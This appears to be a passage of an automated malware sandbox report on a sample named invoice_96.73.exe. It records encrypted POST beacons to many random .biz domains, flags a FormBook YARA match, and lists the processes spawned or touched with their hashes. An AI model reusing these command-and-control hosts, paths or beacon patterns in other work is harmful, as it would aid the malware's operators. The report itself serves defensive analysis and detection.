Nov 28, 2024 12:14:12.137662888 CET	852	OUT	Data Raw: de 4d ed 71 2e c9 70 45 48 03 00 00 e4 f9 5b ae c2 c3 5f 64 4b 4b 50 34 53 c3 32 47 0a 86 37 69 1c f2 bc 63 be 0c 57 fa 17 2c 6c 83 93 53 76 8a d9 67 6b 64 6c 64 a7 45 05 13 12 71 30 04 cd 9e 49 d7 3b 1b f9 08 f8 01 1c b2 67 c7 b7 a1 8e da f9 33 Data Ascii: Mq.pEH[_dKKP4S2G7icW,lSvgkdldEq0I;g3C_)/-PL_s +9g`9mom""+PU;ay.<OT\|QmrL\668Ja[osJuZ
Nov 28, 2024 12:14:12.473395109 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 28 Nov 2024 11:14:12 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.22	49185	13.251.16.150	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:13:54.369817019 CET	352	OUT	POST /nqtlxhjrub HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: qaynky.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:13:54.369838953 CET	852	OUT	Data Raw: c9 e7 ac b6 79 ba ca d3 48 03 00 00 6d b5 4a ea 35 41 77 38 41 d6 46 b5 c8 3f 65 c6 38 f7 f1 29 b9 1f 9c c6 5b 44 b5 4d 4b c8 ca 91 55 dc c7 05 8f 9b 22 a0 4b f1 96 6c 34 a1 95 2b 2b a0 10 8a 9c fe 92 9b 39 a8 9e 37 32 a4 76 f7 a1 a3 d6 3c df 0b Data Ascii: yHmJ5Aw8AF?e8)[DMKU"Kl4++972v<.1YnIxm/ePku\|5V4{;>slI.y"Pcw#<=rD/CPTZ;9HHeRjZ}90\b$e~\8{a4Bb
Nov 28, 2024 12:13:56.477401018 CET	410	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:13:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4a7069d728887beb527f5d9c4e2d2943\|8.46.123.228\|1732792436\|1732792436\|0\|1\|0; path=/; domain=.qaynky.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.22	49186	44.221.84.105	80

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:14:02.058919907 CET	360	OUT	POST /tgcwttfqletfhyq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: bumxkqgxu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:14:02.058959007 CET	852	OUT	Data Raw: de 4d ed 71 2e c9 70 45 48 03 00 00 e4 f9 5b ae c2 c3 5f 64 4b 4b 50 34 53 c3 32 47 0a 86 37 69 1c f2 bc 63 be 0c 57 fa 17 2c 6c 83 93 53 76 8a d9 67 6b 64 6c 64 a7 45 05 13 12 71 30 04 cd 9e 49 d7 3b 1b f9 08 f8 01 1c b2 67 c7 b7 a1 8e da f9 33 Data Ascii: Mq.pEH[_dKKP4S2G7icW,lSvgkdldEq0I;g3C_)/-PL_s +9g`9mom""+PU;ay.<OT\|QmrL\668Ja[osJuZ
Nov 28, 2024 12:14:03.249955893 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:14:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=07132753af640df4c40e01f0293c9eda\|8.46.123.228\|1732792443\|1732792443\|0\|1\|0; path=/; domain=.bumxkqgxu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.22	49187	54.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:14:03.509871006 CET	359	OUT	POST /tgcwttfqletfhyq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dwrqljrr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:14:03.509922028 CET	852	OUT	Data Raw: de 4d ed 71 2e c9 70 45 48 03 00 00 e4 f9 5b ae c2 c3 5f 64 4b 4b 50 34 53 c3 32 47 0a 86 37 69 1c f2 bc 63 be 0c 57 fa 17 2c 6c 83 93 53 76 8a d9 67 6b 64 6c 64 a7 45 05 13 12 71 30 04 cd 9e 49 d7 3b 1b f9 08 f8 01 1c b2 67 c7 b7 a1 8e da f9 33 Data Ascii: Mq.pEH[_dKKP4S2G7icW,lSvgkdldEq0I;g3C_)/-PL_s +9g`9mom""+PU;ay.<OT\|QmrL\668Ja[osJuZ
Nov 28, 2024 12:14:04.919552088 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:14:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=6d0d2529ed264265f20a263abfdf7721\|8.46.123.228\|1732792444\|1732792444\|0\|1\|0; path=/; domain=.dwrqljrr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.22	49195	54.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:14:10.286494017 CET	360	OUT	POST /tgcwttfqletfhyq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: oshhkdluh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:14:10.286504030 CET	852	OUT	Data Raw: de 4d ed 71 2e c9 70 45 48 03 00 00 e4 f9 5b ae c2 c3 5f 64 4b 4b 50 34 53 c3 32 47 0a 86 37 69 1c f2 bc 63 be 0c 57 fa 17 2c 6c 83 93 53 76 8a d9 67 6b 64 6c 64 a7 45 05 13 12 71 30 04 cd 9e 49 d7 3b 1b f9 08 f8 01 1c b2 67 c7 b7 a1 8e da f9 33 Data Ascii: Mq.pEH[_dKKP4S2G7icW,lSvgkdldEq0I;g3C_)/-PL_s +9g`9mom""+PU;ay.<OT\|QmrL\668Ja[osJuZ
Nov 28, 2024 12:14:11.646691084 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:14:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=110ecdcf7ea03180bcffcfc1ee76985d\|8.46.123.228\|1732792451\|1732792451\|0\|1\|0; path=/; domain=.oshhkdluh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.22	49197	54.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:14:14.484957933 CET	359	OUT	POST /tgcwttfqletfhyq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lrxdmhrr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:14:14.484957933 CET	852	OUT	Data Raw: de 4d ed 71 2e c9 70 45 48 03 00 00 e4 f9 5b ae c2 c3 5f 64 4b 4b 50 34 53 c3 32 47 0a 86 37 69 1c f2 bc 63 be 0c 57 fa 17 2c 6c 83 93 53 76 8a d9 67 6b 64 6c 64 a7 45 05 13 12 71 30 04 cd 9e 49 d7 3b 1b f9 08 f8 01 1c b2 67 c7 b7 a1 8e da f9 33 Data Ascii: Mq.pEH[_dKKP4S2G7icW,lSvgkdldEq0I;g3C_)/-PL_s +9g`9mom""+PU;ay.<OT\|QmrL\668Ja[osJuZ
Nov 28, 2024 12:14:15.842375040 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:14:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c18e78590580350308040f993c69d829\|8.46.123.228\|1732792455\|1732792455\|0\|1\|0; path=/; domain=.lrxdmhrr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.22	49198	18.141.10.107	80

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:14:16.101162910 CET	358	OUT	POST /tgcwttfqletfhyq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: wllvnzb.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:14:16.101200104 CET	852	OUT	Data Raw: de 4d ed 71 2e c9 70 45 48 03 00 00 e4 f9 5b ae c2 c3 5f 64 4b 4b 50 34 53 c3 32 47 0a 86 37 69 1c f2 bc 63 be 0c 57 fa 17 2c 6c 83 93 53 76 8a d9 67 6b 64 6c 64 a7 45 05 13 12 71 30 04 cd 9e 49 d7 3b 1b f9 08 f8 01 1c b2 67 c7 b7 a1 8e da f9 33 Data Ascii: Mq.pEH[_dKKP4S2G7icW,lSvgkdldEq0I;g3C_)/-PL_s +9g`9mom""+PU;ay.<OT\|QmrL\668Ja[osJuZ
Nov 28, 2024 12:14:18.085047960 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:14:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=a3ba9762a679e84bb94497b6ff88bd7c\|8.46.123.228\|1732792457\|1732792457\|0\|1\|0; path=/; domain=.wllvnzb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.22	49199	18.208.156.248	80

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:14:18.349129915 CET	356	OUT	POST /tgcwttfqletfhyq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gnqgo.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:14:18.349159956 CET	852	OUT	Data Raw: de 4d ed 71 2e c9 70 45 48 03 00 00 e4 f9 5b ae c2 c3 5f 64 4b 4b 50 34 53 c3 32 47 0a 86 37 69 1c f2 bc 63 be 0c 57 fa 17 2c 6c 83 93 53 76 8a d9 67 6b 64 6c 64 a7 45 05 13 12 71 30 04 cd 9e 49 d7 3b 1b f9 08 f8 01 1c b2 67 c7 b7 a1 8e da f9 33 Data Ascii: Mq.pEH[_dKKP4S2G7icW,lSvgkdldEq0I;g3C_)/-PL_s +9g`9mom""+PU;ay.<OT\|QmrL\668Ja[osJuZ
Nov 28, 2024 12:14:19.537911892 CET	409	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:14:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=30241183af168205776a11a816c6ab7a\|8.46.123.228\|1732792459\|1732792459\|0\|1\|0; path=/; domain=.gnqgo.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.22	49200	44.221.84.105	80

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:14:19.784257889 CET	359	OUT	POST /tgcwttfqletfhyq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jhvzpcfg.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:14:19.784285069 CET	852	OUT	Data Raw: de 4d ed 71 2e c9 70 45 48 03 00 00 e4 f9 5b ae c2 c3 5f 64 4b 4b 50 34 53 c3 32 47 0a 86 37 69 1c f2 bc 63 be 0c 57 fa 17 2c 6c 83 93 53 76 8a d9 67 6b 64 6c 64 a7 45 05 13 12 71 30 04 cd 9e 49 d7 3b 1b f9 08 f8 01 1c b2 67 c7 b7 a1 8e da f9 33 Data Ascii: Mq.pEH[_dKKP4S2G7icW,lSvgkdldEq0I;g3C_)/-PL_s +9g`9mom""+PU;ay.<OT\|QmrL\668Ja[osJuZ
Nov 28, 2024 12:14:20.945897102 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:14:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3ea9774096a2d46bd0a8e46cadb39451\|8.46.123.228\|1732792460\|1732792460\|0\|1\|0; path=/; domain=.jhvzpcfg.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.22	49201	18.141.10.107	80

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:14:21.202102900 CET	359	OUT	POST /tgcwttfqletfhyq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: acwjcqqv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:14:21.202122927 CET	852	OUT	Data Raw: de 4d ed 71 2e c9 70 45 48 03 00 00 e4 f9 5b ae c2 c3 5f 64 4b 4b 50 34 53 c3 32 47 0a 86 37 69 1c f2 bc 63 be 0c 57 fa 17 2c 6c 83 93 53 76 8a d9 67 6b 64 6c 64 a7 45 05 13 12 71 30 04 cd 9e 49 d7 3b 1b f9 08 f8 01 1c b2 67 c7 b7 a1 8e da f9 33 Data Ascii: Mq.pEH[_dKKP4S2G7icW,lSvgkdldEq0I;g3C_)/-PL_s +9g`9mom""+PU;ay.<OT\|QmrL\668Ja[osJuZ
Nov 28, 2024 12:14:23.276252031 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:14:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=05729616c5c7c743d3e0a34459642e56\|8.46.123.228\|1732792462\|1732792462\|0\|1\|0; path=/; domain=.acwjcqqv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.22	49203	18.208.156.248	80

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:14:25.713617086 CET	359	OUT	POST /tgcwttfqletfhyq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yauexmxk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:14:25.713659048 CET	852	OUT	Data Raw: de 4d ed 71 2e c9 70 45 48 03 00 00 e4 f9 5b ae c2 c3 5f 64 4b 4b 50 34 53 c3 32 47 0a 86 37 69 1c f2 bc 63 be 0c 57 fa 17 2c 6c 83 93 53 76 8a d9 67 6b 64 6c 64 a7 45 05 13 12 71 30 04 cd 9e 49 d7 3b 1b f9 08 f8 01 1c b2 67 c7 b7 a1 8e da f9 33 Data Ascii: Mq.pEH[_dKKP4S2G7icW,lSvgkdldEq0I;g3C_)/-PL_s +9g`9mom""+PU;ay.<OT\|QmrL\668Ja[osJuZ
Nov 28, 2024 12:14:26.903322935 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:14:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=1f6c6f4d4c5247b22ef27aac1d0b707b\|8.46.123.228\|1732792466\|1732792466\|0\|1\|0; path=/; domain=.yauexmxk.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.22	49204	13.251.16.150	80

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:14:27.160298109 CET	357	OUT	POST /tgcwttfqletfhyq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: iuzpxe.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:14:27.160310030 CET	852	OUT	Data Raw: de 4d ed 71 2e c9 70 45 48 03 00 00 e4 f9 5b ae c2 c3 5f 64 4b 4b 50 34 53 c3 32 47 0a 86 37 69 1c f2 bc 63 be 0c 57 fa 17 2c 6c 83 93 53 76 8a d9 67 6b 64 6c 64 a7 45 05 13 12 71 30 04 cd 9e 49 d7 3b 1b f9 08 f8 01 1c b2 67 c7 b7 a1 8e da f9 33 Data Ascii: Mq.pEH[_dKKP4S2G7icW,lSvgkdldEq0I;g3C_)/-PL_s +9g`9mom""+PU;ay.<OT\|QmrL\668Ja[osJuZ
Nov 28, 2024 12:14:29.268652916 CET	410	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:14:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=1a21cc3742f3b8565cf5054b01655761\|8.46.123.228\|1732792468\|1732792468\|0\|1\|0; path=/; domain=.iuzpxe.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	06:11:49
Start date:	28/11/2024
Path:	C:\Users\user\Desktop\invoice_96.73.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\invoice_96.73.exe"
Imagebase:	0x400000
File size:	1'799'680 bytes
MD5 hash:	0AD46265C37A53172D0658E862699A0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	06:11:49
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Imagebase:	0x400000
File size:	1'658'880 bytes
MD5 hash:	38BDB885A492FB07195A5DF3F45BA0BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Target ID:	4
Start time:	06:11:50
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\invoice_96.73.exe"
Imagebase:	0x6f0000
File size:	20'992 bytes
MD5 hash:	54A47F6B5E09A77E61649109C6A08866
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.387515587.0000000000240000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.387578097.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Target ID:	5
Start time:	06:11:52
Start date:	28/11/2024
Path:	C:\Windows\System32\alg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\alg.exe
Imagebase:	0x100000000
File size:	1'577'472 bytes
MD5 hash:	D51E3C5F1FB63103D04A4FDBBC56FEE7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	6
Start time:	06:11:53
Start date:	28/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe
Imagebase:	0x140000000
File size:	1'537'536 bytes
MD5 hash:	BBA4722DF24C70555CF255FAE1A123D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	12
Start time:	06:11:59
Start date:	28/11/2024
Path:	C:\Windows\ehome\ehrecvr.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\ehome\ehRecvr.exe
Imagebase:	0x140000000
File size:	1'276'416 bytes
MD5 hash:	22DA4B53195377BBE2A2460989C3D203
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	13
Start time:	06:12:01
Start date:	28/11/2024
Path:	C:\Windows\ehome\ehsched.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\ehome\ehsched.exe
Imagebase:	0x140000000
File size:	1'625'600 bytes
MD5 hash:	C0B1AC1980E0EE5E641EA4C250791D87
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	14
Start time:	06:12:03
Start date:	28/11/2024
Path:	C:\Windows\System32\FXSSVC.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\fxssvc.exe
Imagebase:	0x140000000
File size:	1'269'760 bytes
MD5 hash:	862331ACCCC3F8DC8BF248C0E6CF16A3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	15
Start time:	06:12:04
Start date:	28/11/2024
Path:	C:\Windows\System32\ieetwcollector.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\IEEtwCollector.exe /V
Imagebase:	0x140000000
File size:	1'612'800 bytes
MD5 hash:	475B5B41F2CFABE32500D1A9602C2A3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	16
Start time:	06:12:06
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Imagebase:	0x400000
File size:	1'661'952 bytes
MD5 hash:	CC9BE47A84D7EB73D78181F087D654DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	17
Start time:	06:12:06
Start date:	28/11/2024
Path:	C:\Windows\System32\msdtc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\msdtc.exe
Imagebase:	0x140000000
File size:	1'639'936 bytes
MD5 hash:	8A39539F9626492BC25BBEF9E516EC26
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	18
Start time:	06:12:08
Start date:	28/11/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x100000000
File size:	1'625'600 bytes
MD5 hash:	2568F4F643C82673898904F584A264BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	20
Start time:	06:12:09
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\perfhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWow64\perfhost.exe
Imagebase:	0x1000000
File size:	1'519'104 bytes
MD5 hash:	4A3EAAF9D1C0E0BB3F263E7A314171FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	21
Start time:	06:12:10
Start date:	28/11/2024
Path:	C:\Windows\System32\Locator.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\locator.exe
Imagebase:	0x100000000
